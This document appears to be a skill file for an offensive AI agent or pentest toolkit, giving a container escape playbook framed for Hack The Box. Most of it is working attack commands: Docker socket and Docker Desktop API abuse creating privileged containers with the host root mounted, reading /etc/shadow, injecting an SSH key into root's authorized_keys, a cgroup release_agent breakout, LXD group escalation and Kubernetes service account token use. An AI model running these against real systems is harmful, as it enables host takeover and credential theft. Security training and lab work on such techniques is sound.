| name | container-escapes |
| description | This skill covers container escape techniques for Docker, LXC/LXD, and
Kubernetes environments. Includes Docker socket escape, Docker Desktop
API escape (192.168.65.7:2375), privileged container breakout, and
capability-based escapes.
|
Container Escape Techniques
Overview
When you gain access inside a container, escaping to the host is often the path to root. This skill covers detection methods and escape techniques for various container environments.
Container Detection
Am I in a Container?
ls -la /.dockerenv
cat /proc/1/cgroup | grep -E "docker|lxc|kubepods"
env | grep -i docker
env | grep -i kubernetes
hostname
mount | grep -E "overlay|aufs"
ps aux | wc -l
Container Type Detection
cat /proc/1/cgroup | grep docker
ls /.dockerenv
cat /proc/1/cgroup | grep lxc
ls /dev/lxd
ls /var/run/secrets/kubernetes.io
env | grep KUBERNETES
cat /proc/1/cgroup | grep libpod
Docker Socket Escape
Detection
ls -la /var/run/docker.sock
curl -s --unix-socket /var/run/docker.sock http://localhost/version
Exploitation
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}'
curl -s -X POST --unix-socket /var/run/docker.sock \
http://localhost/containers/<CONTAINER_ID>/start
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
http://localhost/containers/<CONTAINER_ID>/attach?stream=1&stdin=1&stdout=1&stderr=1
One-Liner Escape
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
sh -c 'echo "YOUR_SSH_KEY" >> /host/root/.ssh/authorized_keys'
Docker Desktop API Escape (Critical for HTB)
Background
Docker Desktop on Windows/Mac exposes an API on a special internal network. From inside a container, you can reach this API and escape to the host.
Detection
curl -s http://192.168.65.7:2375/version
curl -s http://host.docker.internal:2375/version
curl -s http://172.17.0.1:2375/version
for ip in 192.168.65.{1..10} 172.17.0.1 172.18.0.1; do
curl -s -m 1 http://$ip:2375/version 2>/dev/null && echo "Found: $ip"
done
Exploitation (CVE-2025-9074 Pattern)
Step 1: Verify API Access
curl -s http://192.168.65.7:2375/version
Step 2: List Available Images
curl -s http://192.168.65.7:2375/images/json | jq '.[].RepoTags'
Step 3: Create Privileged Container with Host Mount
curl -s -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Tty": true,
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}'
Step 4: Start the Container
curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start
Step 5: Run Commands on Host
curl -s -X POST http://192.168.65.7:2375/containers/<ID>/exec \
-H "Content-Type: application/json" \
-d '{
"Cmd": ["cat", "/host/etc/shadow"],
"AttachStdout": true,
"AttachStderr": true
}'
curl -s -X POST http://192.168.65.7:2375/exec/<EXEC_ID>/start \
-H "Content-Type: application/json" \
-d '{"Detach": false, "Tty": false}'
Windows Host Access (Docker Desktop on Windows)
When Docker Desktop runs on Windows, the host filesystem is mounted at /host/mnt/host/c:
curl -X POST http://192.168.65.7:2375/containers/<ID>/exec \
-H "Content-Type: application/json" \
-d '{"Cmd": ["cat", "/host/mnt/host/c/Users/Administrator/Desktop/root.txt"], "AttachStdout": true}'
curl -X POST http://192.168.65.7:2375/containers/<ID>/exec \
-H "Content-Type: application/json" \
-d '{"Cmd": ["ls", "-la", "/host/mnt/host/c/Users/"], "AttachStdout": true}'
Privileged Container Escape
Detection
cat /proc/1/status | grep Cap
capsh --print
cat /proc/1/cgroup
fdisk -l
Exploitation via Host Disk Mount
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host
cat /mnt/host/etc/shadow
Exploitation via cgroups (notify_on_release)
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/cmd" > $d/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $t/out" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs"
cat /out
Capability-Based Escapes
CAP_SYS_ADMIN
capsh --print | grep sys_admin
mount -t ext4 /dev/sda1 /mnt
CAP_SYS_PTRACE
ls -la /proc/*/root
CAP_NET_ADMIN
LXC/LXD Escape
Detection
ls -la /var/snap/lxd/common/lxd/unix.socket
ls -la /var/lib/lxd/unix.socket
id
groups
Exploitation (if lxd group member)
lxd init --auto
lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
lxc start mycontainer
lxc exec mycontainer /bin/sh
cat /mnt/root/etc/shadow
Kubernetes Escapes
Service Account Token Abuse
cat /var/run/secrets/kubernetes.io/serviceaccount/token
env | grep KUBERNETES
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces
Node Access via hostPath
ls /host
Quick Detection Script
#!/bin/bash
echo "[*] Container Escape Detection"
echo "[*] Checking container type..."
if [ -f /.dockerenv ]; then echo "[+] Docker container"; fi
if grep -q docker /proc/1/cgroup 2>/dev/null; then echo "[+] Docker (cgroup)"; fi
if grep -q lxc /proc/1/cgroup 2>/dev/null; then echo "[+] LXC container"; fi
if [ -d /var/run/secrets/kubernetes.io ]; then echo "[+] Kubernetes pod"; fi
echo "[*] Checking escape vectors..."
if [ -S /var/run/docker.sock ]; then echo "[!] Docker socket available!"; fi
if curl -s -m 1 http://192.168.65.7:2375/version >/dev/null 2>&1; then echo "[!] Docker Desktop API exposed!"; fi
if capsh --print 2>/dev/null | grep -q sys_admin; then echo "[!] CAP_SYS_ADMIN available!"; fi
if fdisk -l >/dev/null 2>&1; then echo "[!] Can access block devices (privileged?)"; fi
if [ -S /var/snap/lxd/common/lxd/unix.socket ]; then echo "[!] LXD socket available!"; fi
echo "[*] Network reconnaissance..."
for ip in 192.168.65.7 172.17.0.1 172.18.0.1; do
if curl -s -m 1 http://$ip:2375/version >/dev/null 2>&1; then
echo "[!] Docker API at $ip:2375"
fi
done
Related Skills
linux-privesc - Host privilege escalation after escape
credential-hunting - Finding credentials in container configs
common-exploits - Other exploitation techniques